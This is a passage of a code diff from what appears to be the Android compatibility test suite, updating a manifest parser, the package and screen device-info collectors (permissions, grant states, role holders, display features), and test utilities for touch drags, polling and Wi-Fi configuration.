+            raise Exception("Unknown line type for line: " + c.line)
+
+    return Element(name, attributes, children)
+
+def parse(manifest_content, file_name):
+    manifest_content = manifest_content.split("\\n")
+    # strip namespaces as not important for our uses
+    # Also strip the last line which is a quotation mark because of the way it's imported
+    manifest_content = [m for m in manifest_content if not "N: " in m][:-1]
+
+    simple_root = parse_lines(manifest_content)
+    root = augment(simple_root)
+
+    android_app = AndroidApp()
+    android_app.apk_name = file_name
+    android_app.package_name = root.attributes["package"]
+    android_app.sharedUserId = root.attributes.get("sharedUserId", "")
+
+    parse_uses_sdk(root, android_app)
+    parse_permissions(root, android_app)
+
+    application_element = find_single_element(root.children, "application")
+    android_app.test_only = application_element.attributes.get("testOnly", "false") == "true"
+
+    parse_activities(application_element, android_app)
+    parse_services(application_element, android_app)
+    parse_metadata(application_element, android_app)
+
+    return android_app
+
+def parse_uses_sdk(root, android_app):
+    uses_sdk_element = find_single_element(root.children, "uses-sdk")
+    if uses_sdk_element:
+        if "minSdkVersion" in uses_sdk_element.attributes:
+            try:
+                android_app.uses_sdk.minSdkVersion = int(uses_sdk_element.attributes["minSdkVersion"])
+            except ValueError:
+                pass
+        if "maxSdkVersion" in uses_sdk_element.attributes:
+            try:
+                android_app.uses_sdk.maxSdkVersion = int(uses_sdk_element.attributes["maxSdkVersion"])
+            except ValueError:
+                pass
+        if "targetSdkVersion" in uses_sdk_element.attributes:
+            try:
+                android_app.uses_sdk.targetSdkVersion = int(uses_sdk_element.attributes["targetSdkVersion"])
+            except ValueError:
+                pass
+
+def parse_permissions(root, android_app):
+    for permission_element in find_elements(root.children, "uses-permission"):
+        permission = Permission()
+        permission.name = permission_element.attributes["name"]
+        android_app.permissions.append(permission)
+
+def parse_activities(application_element, android_app):
+    for activity_element in find_elements(application_element.children, "activity"):
+        activity = Activity()
+
+        activity.name = activity_element.attributes["name"]
+        if activity.name.startswith("androidx"):
+            continue # Special case: androidx adds non-logging activities
+
+        activity.exported = activity_element.attributes.get("exported", "false") == "true"
+
+        parse_intent_filters(activity_element, activity)
+        android_app.activities.append(activity)
+
+def parse_intent_filters(element, parent):
+    for intent_filter_element in find_elements(element.children, "intent-filter"):
+        intent_filter = IntentFilter()
+
+        parse_intent_filter_actions(intent_filter_element, intent_filter)
+        parse_intent_filter_category(intent_filter_element, intent_filter)
+        parent.intent_filters.append(intent_filter)
+
+def parse_intent_filter_actions(intent_filter_element, intent_filter):
+    for action_element in find_elements(intent_filter_element.children, "action"):
+        action = action_element.attributes["name"]
+        intent_filter.actions.append(action)
+
+def parse_intent_filter_category(intent_filter_element, intent_filter):
+    for category_element in find_elements(intent_filter_element.children, "category"):
+        category = category_element.attributes["name"]
+        intent_filter.categories.append(category)
+
+def parse_services(application_element, android_app):
+    for service_element in find_elements(application_element.children, "service"):
+        service = Service()
+        service.name = service_element.attributes["name"]
+        parse_intent_filters(service_element, service)
+        android_app.services.append(service)
+
+def parse_metadata(application_element, android_app):
+    for meta_data_element in find_elements(application_element.children, "meta-data"):
+        metadata = Metadata()
+        metadata.name = meta_data_element.attributes["name"]
+        # This forces every value into a string
+        metadata.value = meta_data_element.attributes["value"]
+        android_app.metadata.append(metadata)
+
+def find_single_element(element_collection, element_name):
+    for e in element_collection:
+        if e.name == element_name:
+            return e
+
+def find_elements(element_collection, element_name):
+    return [e for e in element_collection if e.name == element_name]
 
 if __name__ == "__main__":
     main()
\ No newline at end of file
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 32e41a1..b3f6667 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -15,8 +15,10 @@
  */
 package com.android.compatibility.common.deviceinfo;
 
+import android.Manifest;
 import android.annotation.TargetApi;
 import android.app.admin.DevicePolicyManager;
+import android.app.role.RoleManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.ApplicationInfo;
@@ -25,12 +27,16 @@
 import android.content.pm.PermissionInfo;
 import android.os.Build;
 import android.os.Process;
+
 import com.android.compatibility.common.util.DeviceInfoStore;
 import com.android.compatibility.common.util.PackageUtil;
 
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -42,28 +48,35 @@
 public class PackageDeviceInfo extends DeviceInfo {
 
     private static final String PLATFORM = "android";
-    private static final String PLATFORM_PERMISSION_PREFIX = "android.";
+    private static final String PLATFORM_ANDROID_PERMISSION_PREFIX = "android.permission.";
+    private static final String PLATFORM_MANIFEST_PERMISSION_PREFIX = "android.Manifest.permission.";
 
     private static final String PACKAGE = "package";
     private static final String NAME = "name";
     private static final String VERSION_NAME = "version_name";
+    private static final String DIR = "dir";
     private static final String SYSTEM_PRIV = "system_priv";
-    private static final String PRIV_APP_DIR = "/system/priv-app";
     private static final String MIN_SDK = "min_sdk";
     private static final String TARGET_SDK = "target_sdk";
 
     private static final String REQUESTED_PERMISSIONS = "requested_permissions";
+    private static final String DEFINED_PERMISSIONS = "defined_permissions";
     private static final String PERMISSION_NAME = "name";
     private static final String PERMISSION_FLAGS = "flags";
     private static final String PERMISSION_GROUP = "permission_group";
     private static final String PERMISSION_PROTECTION = "protection_level";
     private static final String PERMISSION_PROTECTION_FLAGS = "protection_level_flags";
+    private static final String PERMISSION_IS_GRANTED = "is_granted";
+
 
     private static final String PERMISSION_TYPE = "type";
     private static final int PERMISSION_TYPE_SYSTEM = 1;
     private static final int PERMISSION_TYPE_OEM = 2;
     private static final int PERMISSION_TYPE_CUSTOM = 3;
 
+    private static final String REQUESTED_ROLES = "requested_roles";
+    private static final String ROLE_NAME = "name";
+
     private static final String HAS_SYSTEM_UID = "has_system_uid";
 
     private static final String SHARES_INSTALL_PERMISSION = "shares_install_packages_permission";
@@ -82,6 +95,21 @@
     private static final String CONFIG_ACCESSIBILITY_SERVICE = "config_defaultAccessibilityService";
     private static final String DEFAULT_ACCESSIBILITY_SERVICE = "is_default_accessibility_service";
 
+    private static final HashSet<String> ADDITIONAL_ANDROID_PERMISSIONS = new HashSet<>(Arrays.asList(new String[] {
+        "com.android.voicemail.permission.ADD_VOICEMAIL",
+        "com.android.voicemail.permission.WRITE_VOICEMAIL",
+        "com.android.voicemail.permission.READ_VOICEMAIL",
+        "com.android.browser.permission.READ_HISTORY_BOOKMARKS",
+        "com.android.browser.permission.WRITE_HISTORY_BOOKMARKS",
+        "com.android.alarm.permission.SET_ALARM",
+        "com.android.launcher.permission.INSTALL_SHORTCUT",
+        "com.android.launcher.permission.UNINSTALL_SHORTCUT",
+        "com.android.permission.INSTALL_EXISTING_PACKAGES",
+        "com.android.permission.USE_INSTALLER_V2",
+        "com.android.permission.USE_SYSTEM_DATA_LOADERS",
+        "android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"
+    }));
+
 
     @Override
     protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
@@ -96,6 +124,8 @@
 
         final ComponentName defaultAccessibilityComponent = getDefaultAccessibilityComponent();
 
+        final HashMap<String, List<String>> packageRolesData = getPackageRolesData();
+
         // Platform permission data used to tag permissions information with sourcing information
         final PackageInfo platformInfo = pm.getPackageInfo(PLATFORM , PackageManager.GET_PERMISSIONS);
         final Set<String> platformPermissions = new HashSet<String>();
@@ -109,7 +139,9 @@
             store.addResult(NAME, pkg.packageName);
             store.addResult(VERSION_NAME, pkg.versionName);
 
-            collectPermissions(store, pm, platformPermissions, pkg);
+            collectRequestedPermissions(store, pm, platformPermissions, pkg);
+            collectDefinedPermissions(store, platformPermissions, pkg);
+
             collectionApplicationInfo(store, pm, pkg);
 
             store.addResult(HAS_DEFAULT_NOTIFICATION_ACCESS,
@@ -131,12 +163,14 @@
             String sha256_file = PackageUtil.computePackageFileDigest(pkg);
             store.addResult(SHA256_FILE, sha256_file);
 
+            collectRoles(store, packageRolesData, pkg);
+
             store.endGroup();
         }
         store.endArray(); // "package"
     }
 
-    private static void collectPermissions(DeviceInfoStore store,
+    private static void collectRequestedPermissions(DeviceInfoStore store,
                                            PackageManager pm,
                                            Set<String> systemPermissions,
                                            PackageInfo pkg) throws IOException
@@ -150,20 +184,11 @@
                     final PermissionInfo pi = pm.getPermissionInfo(permission, 0);
 
                     store.startGroup();
-                    store.addResult(PERMISSION_NAME, permission);
-                    writePermissionsDetails(pi, store);
+                    writePermissionsDetails(pi, store, systemPermissions);
 
-                    final boolean isPlatformPermission = systemPermissions.contains(permission);
-                    if (isPlatformPermission) {
-                      final boolean isAndroidPermission = permission.startsWith(PLATFORM_PERMISSION_PREFIX);
-                      if (isAndroidPermission) {
-                        store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
-                      } else {
-                        store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
-                      }
-                    } else {
-                      store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
-                    }
+                    boolean isGranted = pm.checkPermission(
+                            permission, pkg.packageName) == pm.PERMISSION_GRANTED;
+                    store.addResult(PERMISSION_IS_GRANTED, isGranted);
 
                     store.endGroup();
                 } catch (PackageManager.NameNotFoundException e) {
@@ -174,13 +199,34 @@
         store.endArray();
     }
 
+    private static void collectDefinedPermissions(DeviceInfoStore store,
+                                                  Set<String> systemPermissions,
+                                                  PackageInfo pkg) throws IOException {
+        if (pkg.permissions != null && pkg.permissions.length > 0) {
+            store.startArray(DEFINED_PERMISSIONS);
+            for (PermissionInfo permission : pkg.permissions) {
+                if (permission == null) continue;
+                // Ignore "android" package defined AOSP permissions.
+                if (pkg.packageName.equals(PLATFORM)
+                        && isAndroidPermission(permission.name))
+                    continue;
+
+                store.startGroup();
+                writePermissionsDetails(permission, store, systemPermissions);
+                store.endGroup();
+
+            }
+            store.endArray();
+        }
+    }
+
     private static void collectionApplicationInfo(DeviceInfoStore store,
                                                   PackageManager pm,
                                                   PackageInfo pkg) throws IOException {
         final ApplicationInfo appInfo = pkg.applicationInfo;
         if (appInfo != null) {
-            String dir = appInfo.sourceDir;
-            store.addResult(SYSTEM_PRIV, dir != null && dir.startsWith(PRIV_APP_DIR));
+            store.addResult(DIR, appInfo.sourceDir);
+            store.addResult(SYSTEM_PRIV, appInfo.isPrivilegedApp());
 
             store.addResult(MIN_SDK, appInfo.minSdkVersion);
             store.addResult(TARGET_SDK, appInfo.targetSdkVersion);
@@ -225,8 +271,12 @@
         return sharedPermissions.contains(PackageDeviceInfo.INSTALL_PACKAGES_PERMISSION);
     }
 
-    private static void writePermissionsDetails(PermissionInfo pi, DeviceInfoStore store)
-            throws IOException {
+    private static void writePermissionsDetails(PermissionInfo pi,
+                                                DeviceInfoStore store,
+                                                Set<String> systemPermissions) throws IOException {
+        final String permissionName = pi.name;
+        store.addResult(PERMISSION_NAME, permissionName);
+
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
             store.addResult(PERMISSION_FLAGS, pi.flags);
         } else {
@@ -244,6 +294,18 @@
             store.addResult(PERMISSION_PROTECTION_FLAGS,
                     pi.protectionLevel & ~PermissionInfo.PROTECTION_MASK_BASE);
         }
+
+        final boolean isPlatformPermission = systemPermissions.contains(permissionName);
+        if (isPlatformPermission) {
+            final boolean isAndroidPermission = isAndroidPermission(permissionName);
+            if (isAndroidPermission) {
+            store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
+            } else {
+            store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
+            }
+        } else {
+            store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
+        }
     }
 
     private Set<String> getActiveDeviceAdminPackages() {
@@ -291,5 +353,55 @@
                 .getResources()
                 .getIdentifier(name, type, "android");
     }
+
+    /** Return a boolean value to whether the permission is an android permission defined by android package */
+    private static boolean isAndroidPermission(String permissionName) {
+        if(permissionName.startsWith(PLATFORM_ANDROID_PERMISSION_PREFIX)
+            || permissionName.startsWith(PLATFORM_MANIFEST_PERMISSION_PREFIX)
+            || ADDITIONAL_ANDROID_PERMISSIONS.contains(permissionName))
+            return true;
+        return false;
+    }
+
+    private static void collectRoles(DeviceInfoStore store,
+                                     HashMap<String, List<String>> packageRolesData,
+                                     PackageInfo pkg) throws IOException {
+        String packageName = pkg.packageName;
+        if(packageRolesData.containsKey(packageName)) {
+            List<String> roleNames = packageRolesData.get(packageName);
+
+            store.startArray(REQUESTED_ROLES);
+            for(String roleName: roleNames) {
+                store.startGroup();
+                store.addResult(ROLE_NAME, roleName);
+                store.endGroup();
+            }
+            store.endArray();
+        }
+    }
+
+    /*
+        Return a map of PackageName -> List of RoleNames held by that package
+    */
+    private HashMap<String, List<String>> getPackageRolesData() throws Exception {
+        final RoleManager roleManager = getContext().getSystemService(RoleManager.class);
+        HashMap<String, List<String>> packageRolesData = new HashMap<>();
+
+        for(String roleName: RolesUtil.ROLE_NAMES) {
+            List<String> packageNames = getRoleHolders(roleName, roleManager);
+
+            for(String packageName: packageNames) {
+                packageRolesData.putIfAbsent(packageName, new ArrayList<>());
+                packageRolesData.get(packageName).add(roleName);
+            }
+        }
+        return packageRolesData;
+    }
+
+    public static List<String> getRoleHolders(String roleName, RoleManager roleManager) throws Exception {
+        return callWithShellPermissionIdentity(
+                () -> roleManager.getRoleHolders(roleName),
+                        Manifest.permission.MANAGE_ROLE_HOLDERS);
+    }
 }
 
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java
new file mode 100644
index 0000000..65531d5
--- /dev/null
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java
@@ -0,0 +1,47 @@
+package com.android.compatibility.common.deviceinfo;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+public class RolesUtil {
+    public final static List<String> ROLE_NAMES = new ArrayList<>(Arrays.asList(new String[] {
+        "android.app.role.ASSISTANT",
+        "android.app.role.AUTOMOTIVE_NAVIGATION",
+        "android.app.role.BROWSER",
+        "android.app.role.CALL_REDIRECTION",
+        "android.app.role.CALL_SCREENING",
+        "android.app.role.COMPANION_DEVICE_APP_STREAMING",
+        "android.app.role.COMPANION_DEVICE_COMPUTER",
+        "android.app.role.COMPANION_DEVICE_WATCH",
+        "android.app.role.DEVICE_POLICY_MANAGEMENT",
+        "android.app.role.DIALER",
+        "android.app.role.EMERGENCY",
+        "android.app.role.HOME",
+        "android.app.role.SMS",
+        "android.app.role.SYSTEM_ACTIVITY_RECOGNIZER",
+        "android.app.role.SYSTEM_AMBIENT_AUDIO_INTELLIGENCE",
+        "android.app.role.SYSTEM_APP_PROTECTION_SERVICE",
+        "android.app.role.SYSTEM_AUDIO_INTELLIGENCE",
+        "android.app.role.SYSTEM_AUTOMOTIVE_CALENDAR_SYNC_MANAGER",
+        "android.app.role.SYSTEM_AUTOMOTIVE_CLUSTER",
+        "android.app.role.SYSTEM_AUTOMOTIVE_PROJECTION",
+        "android.app.role.SYSTEM_COMPANION_DEVICE_PROVIDER",
+        "android.app.role.SYSTEM_CONTACTS",
+        "android.app.role.SYSTEM_DOCUMENT_MANAGER",
+        "android.app.role.SYSTEM_GALLERY",
+        "android.app.role.SYSTEM_NOTIFICATION_INTELLIGENCE",
+        "android.app.role.SYSTEM_SETTINGS_INTELLIGENCE",
+        "android.app.role.SYSTEM_SHELL",
+        "android.app.role.SYSTEM_SPEECH_RECOGNIZER",
+        "android.app.role.SYSTEM_SUPERVISION",
+        "android.app.role.SYSTEM_TELEVISION_NOTIFICATION_HANDLER",
+        "android.app.role.SYSTEM_TELEVISION_REMOTE_SERVICE",
+        "android.app.role.SYSTEM_TEXT_INTELLIGENCE",
+        "android.app.role.SYSTEM_UI",
+        "android.app.role.SYSTEM_UI_INTELLIGENCE",
+        "android.app.role.SYSTEM_VISUAL_INTELLIGENCE",
+        "android.app.role.SYSTEM_WELLBEING",
+        "android.app.role.SYSTEM_WIFI_COEX_MANAGER",
+    }));
+}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/ScreenDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/ScreenDeviceInfo.java
index f77a164..a441274 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/ScreenDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/ScreenDeviceInfo.java
@@ -19,12 +19,9 @@
 import android.content.Context;
 import android.content.res.Configuration;
 import android.os.Bundle;
-import android.os.IBinder;
-import android.server.wm.jetpack.utils.ExtensionUtils;
-import android.server.wm.jetpack.utils.wrapper.TestDisplayFeature;
-import android.server.wm.jetpack.utils.wrapper.TestInterfaceCompat;
-import android.server.wm.jetpack.utils.wrapper.TestWindowLayoutInfo;
-import android.text.TextUtils;
+import android.server.wm.jetpack.utils.SidecarUtil;
+import android.server.wm.jetpack.utils.ExtensionUtil;
+import android.server.wm.jetpack.utils.Version;
 import android.util.DisplayMetrics;
 import android.view.Display;
 import android.view.WindowManager;
@@ -32,8 +29,6 @@
 import com.android.compatibility.common.util.DeviceInfoStore;
 import com.android.compatibility.common.util.DummyActivity;
 
-import java.util.List;
-
 /**
  * Screen device info collector.
  */
@@ -58,37 +53,36 @@
         store.addResult("screen_size", getScreenSize(configuration));
         store.addResult("smallest_screen_width_dp", configuration.smallestScreenWidthDp);
 
-        // WindowManager Jetpack Library version and available display features.
-        String wmJetpackVersion = ExtensionUtils.getVersion();
-        if (!TextUtils.isEmpty(wmJetpackVersion)) {
-            int[] displayFeatures = getDisplayFeatures();
-            store.addResult("wm_jetpack_version", wmJetpackVersion);
-            store.addArrayResult("display_features", displayFeatures);
-        }
+        // Add WindowManager Jetpack Library version and available display features.
+        addDisplayFeaturesIfPresent(store);
     }
 
-    private int[] getDisplayFeatures() {
-        final Activity activity = ScreenDeviceInfo.this.launchActivity(
-                "com.android.compatibility.common.deviceinfo",
-                DummyActivity.class,
-                new Bundle());
-        final IBinder windowToken = activity.getWindow().getAttributes().token;
-        final TestInterfaceCompat extension = ExtensionUtils.getInterfaceCompat(activity);
-        if (extension == null) {
-            return new int[0];
+    private void addDisplayFeaturesIfPresent(DeviceInfoStore store) throws Exception {
+        // Try to get display features from extensions. If extensions is not present, try sidecar.
+        // If neither is available, do nothing.
+        // TODO (b/202855636) store info from both extensions and sidecar if both are present
+        if (ExtensionUtil.isExtensionVersionValid()) {
+            // Extensions is available on device.
+            final Version extensionVersion = ExtensionUtil.getExtensionVersion();
+            store.addResult("wm_jetpack_version",
+                    "[Extensions]" + extensionVersion.toString());
+            final Activity activity = ScreenDeviceInfo.this.launchActivity(
+                    "com.android.compatibility.common.deviceinfo",
+                    DummyActivity.class,
+                    new Bundle());
+            int[] displayFeatureTypes = ExtensionUtil.getExtensionDisplayFeatureTypes(activity);
+            store.addArrayResult("display_features", displayFeatureTypes);
+        } else if (SidecarUtil.isSidecarVersionValid()) {
+            // Sidecar is available on device.
+            final Version sidecarVersion = SidecarUtil.getSidecarVersion();
+            store.addResult("wm_jetpack_version", "[Sidecar]" + sidecarVersion.toString());
+            final Activity activity = ScreenDeviceInfo.this.launchActivity(
+                    "com.android.compatibility.common.deviceinfo",
+                    DummyActivity.class,
+                    new Bundle());
+            int[] displayFeatureTypes = SidecarUtil.getSidecarDisplayFeatureTypes(activity);
+            store.addArrayResult("display_features", displayFeatureTypes);
         }
-
-        final TestWindowLayoutInfo windowLayoutInfo = extension.getWindowLayoutInfo(windowToken);
-        if (windowLayoutInfo == null) {
-            return new int[0];
-        }
-
-        List<TestDisplayFeature> displayFeatureList = windowLayoutInfo.getDisplayFeatures();
-        final int[] displayFeatures = new int[displayFeatureList.size()];
-        for (int i = 0; i < displayFeatureList.size(); i++) {
-            displayFeatures[i] = displayFeatureList.get(i).getType();
-        }
-        return displayFeatures;
     }
 
     private static String getScreenSize(Configuration configuration) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
index 49208b1..1766380 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
@@ -81,6 +81,13 @@
     public abstract Set<String> getRuntimePermissionNames(List<PackageInfo> packageInfos);
 
     /**
+     * Return the names of all the packages whose permissions can always be granted as fixed.
+     */
+    public Set<String> getGrantAsFixedPackageNames(ArrayMap<String, PackageInfo> packagesToVerify) {
+        return Collections.emptySet();
+    }
+
+    /**
      * Returns whether the permission name, as defined in
      * {@link PermissionManager.SplitPermissionInfo#getNewPermissions()}
      * should be considered a violation.
@@ -532,9 +539,10 @@
         }
     }
 
-    public void checkDefaultGrantsInCorrectState(Map<String, PackageInfo> packagesToVerify,
+    public void checkDefaultGrantsInCorrectState(ArrayMap<String, PackageInfo> packagesToVerify,
             SparseArray<UidState> pregrantUidStates,
             Map<String, ArrayMap<String, ArraySet<String>>> violations) {
+        Set<String> grantAsFixedPackageNames = getGrantAsFixedPackageNames(packagesToVerify);
         PackageManager packageManager = getInstrumentation().getContext().getPackageManager();
         for (PackageInfo packageInfo : packagesToVerify.values()) {
             final int uid = packageInfo.applicationInfo.uid;
@@ -576,7 +584,8 @@
 
                 setPermissionGrantState(packageInfo.packageName, permission, false);
 
-                Boolean fixed = uidState.grantedPermissions.valueAt(i);
+                Boolean fixed = grantAsFixedPackageNames.contains(packageInfo.packageName)
+                        || uidState.grantedPermissions.valueAt(i);
 
                 // Weaker grant is fine, e.g. not-fixed instead of fixed.
                 if (!fixed && packageManager.checkPermission(permission, packageInfo.packageName)
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
index f74214b..6d44391 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
@@ -129,6 +129,8 @@
 
     @Override
     public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "Received intent: " + intent);
+
         if (mBlockingQueue.remainingCapacity() == 0) {
             Log.i(TAG, "Received intent " + intent + " but queue is full.");
             return;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
index aa0379b..66e3b20 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
@@ -20,6 +20,7 @@
 import android.app.UiAutomation;
 import android.graphics.Point;
 import android.os.SystemClock;
+import android.util.Log;
 import android.util.SparseArray;
 import android.view.InputDevice;
 import android.view.MotionEvent;
@@ -35,6 +36,9 @@
  * Test utilities for touch emulation.
  */
 public final class CtsTouchUtils {
+
+    private static final String TAG = CtsTouchUtils.class.getSimpleName();
+
     /**
      * Interface definition for a callback to be invoked when an event has been injected.
      */
@@ -288,7 +292,52 @@
      */
     public static void emulateDragGesture(Instrumentation instrumentation,
             ActivityTestRule<?> activityTestRule, SparseArray<Point> coordinates) {
-        emulateDragGesture(instrumentation, activityTestRule, coordinates, 2000, 20);
+        final int moveEventCount = 20;
+        int dragDurationMs = 2000;
+
+        final int touchSlop = ViewConfiguration.get(
+                activityTestRule.getActivity()).getScaledTouchSlop();
+        final long longPressTimeoutMs = ViewConfiguration.getLongPressTimeout();
+        final int maxDragDurationMs = getMaxDragDuration(touchSlop, longPressTimeoutMs, coordinates,
+                moveEventCount);
+        if (dragDurationMs > maxDragDurationMs) {
+            Log.d(TAG, "emulateDragGesture: Lowering standard drag duration from " + dragDurationMs
+                    + " ms to " + maxDragDurationMs + " ms to avoid triggering a long press ");
+            dragDurationMs = maxDragDurationMs;
+        }
+
+        emulateDragGesture(instrumentation, activityTestRule, coordinates, dragDurationMs,
+                moveEventCount);
+    }
+
+    /**
+     * Gets the maximal drag duration that assures not triggering a long press during a drag gesture
+     * considering long press timeout and touch slop.
+     *
+     * The calculation is based on the distance between the first and the second point of provided
+     * coordinates.
+     */
+    private static int getMaxDragDuration(int touchSlop, long longPressTimeoutMs,
+            SparseArray<Point> coordinates, int moveEventCount) {
+        final int coordinatesSize = coordinates.size();
+        if (coordinatesSize < 2) {
+            throw new IllegalArgumentException("Need at least 2 points for emulating drag");
+        }
+
+        final int deltaX = coordinates.get(0).x - coordinates.get(1).x;
+        final int deltaY = coordinates.get(0).y - coordinates.get(1).y;
+        final double dragDistance = Math.sqrt(Math.pow(deltaX, 2) + Math.pow(deltaY, 2));
+        final double moveEventDistance = (double) dragDistance / moveEventCount;
+
+        // Number of move events needed to drag outside of the touch slop.
+        // The initial sleep before the drag gesture begins is considered by adding one extra event.
+        final double neededMoveEventsToExceedTouchSlop = touchSlop / moveEventDistance + 1;
+
+        // Get maximal drag duration that assures a drag speed that does not trigger a long press.
+        // Multiply with 0.9 to be on the safe side.
+        int maxDragDuration = (int) (longPressTimeoutMs * 0.9 * moveEventCount
+                / neededMoveEventsToExceedTouchSlop);
+        return maxDragDuration;
     }
 
     private static void emulateDragGesture(Instrumentation instrumentation,
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PollingCheck.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PollingCheck.java
index 00eda91..26b864b 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PollingCheck.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PollingCheck.java
@@ -16,10 +16,12 @@
 
 package com.android.compatibility.common.util;
 
+import junit.framework.Assert;
+
 import java.util.concurrent.Callable;
 import java.util.function.BooleanSupplier;
-
-import junit.framework.Assert;
+import java.util.function.Function;
+import java.util.function.Supplier;
 
 public abstract class PollingCheck {
     private static final long TIME_SLICE = 50;
@@ -46,6 +48,10 @@
         mErrorMessage = errorMessage;
     }
 
+    public PollingCheck(String errorMessage) {
+        this(DEFAULT_TIMEOUT, errorMessage);
+    }
+
     protected abstract boolean check();
 
     public void run() {
@@ -71,6 +77,30 @@
         Assert.assertTrue(mErrorMessage, check());
     }
 
+    public <E> E runWaitAndReturnResult(Supplier<E> supplier, Function<E, Boolean> condition) {
+        E output = supplier.get();
+        if (condition.apply(output)) {
+            return output;
+        }
+        long timeout = mTimeout;
+        while (timeout > 0) {
+            try {
+                Thread.sleep(TIME_SLICE);
+            } catch (InterruptedException e) {
+                Assert.fail("unexpected InterruptedException");
+            }
+
+            output = supplier.get();
+            if (condition.apply(output)) {
+                return output;
+            }
+
+            timeout -= TIME_SLICE;
+        }
+
+        return output;
+    }
+
     public static void check(CharSequence message, long timeout, Callable<Boolean> condition)
             throws Exception {
         while (timeout > 0) {
@@ -94,6 +124,15 @@
         }.run();
     }
 
+    public static void waitFor(final PollingCheckCondition condition, String errorMessage) {
+        new PollingCheck(errorMessage) {
+            @Override
+            protected boolean check() {
+                return condition.canProceed();
+            }
+        }.run();
+    }
+
     public static void waitFor(long timeout, final PollingCheckCondition condition) {
         new PollingCheck(timeout) {
             @Override
@@ -111,4 +150,16 @@
             }
         }.run();
     }
+
+    public static <E> E waitFor(long timeout, Supplier<E> supplier,
+            Function<E, Boolean> condition) {
+        return new PollingCheck(timeout) {
+            // Not used in the corresponding runWaitAndReturnResult function, Added just to provide
+            // default implementation of abstract check function.
+            @Override
+            protected boolean check() {
+                return true;
+            }
+        }.runWaitAndReturnResult(supplier, condition);
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
index 5aa36c9..30084ea 100755
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
@@ -27,6 +27,7 @@
 import android.net.Uri;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
+import android.os.Process;
 import android.text.TextUtils;
 import android.util.Log;
 
@@ -61,6 +62,7 @@
 
     private final Context mContext;
     private final WifiManager mWifiManager;
+    private WifiManager mCurrentUserWifiManager;
 
     public WifiConfigCreator(Context context) {
         this(context, context.getApplicationContext().getSystemService(WifiManager.class));
@@ -69,6 +71,15 @@
     public WifiConfigCreator(Context context, WifiManager wifiManager) {
         mContext = context;
         mWifiManager = wifiManager;
+        mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class);
+        Log.d(TAG, "WifiConfigCreator: user=" + Process.myUserHandle() + ", ctx=" + context
+                + ", mgr=" + mWifiManager + ", currentUserMgr=" + mCurrentUserWifiManager);
+    }
+
+    @Override
+    public String toString() {
+        return "WifiConfigCreator[mWifiManager=" + mWifiManager
+                + ",mCurrentUserWifiManager=" + mCurrentUserWifiManager + "]";
     }
 
     /**
@@ -81,6 +92,7 @@
 
         WifiConfiguration wifiConf = createConfig(ssid, hidden, securityType, password);
 
+        Log.i(TAG, "Adding SSID " + ssid + " using " + mWifiManager);
         int netId = mWifiManager.addNetwork(wifiConf);
 
         if (netId != -1) {
@@ -303,15 +315,17 @@
     }
 
     private List<WifiConfiguration> getConfiguredNetworksWithLogging() {
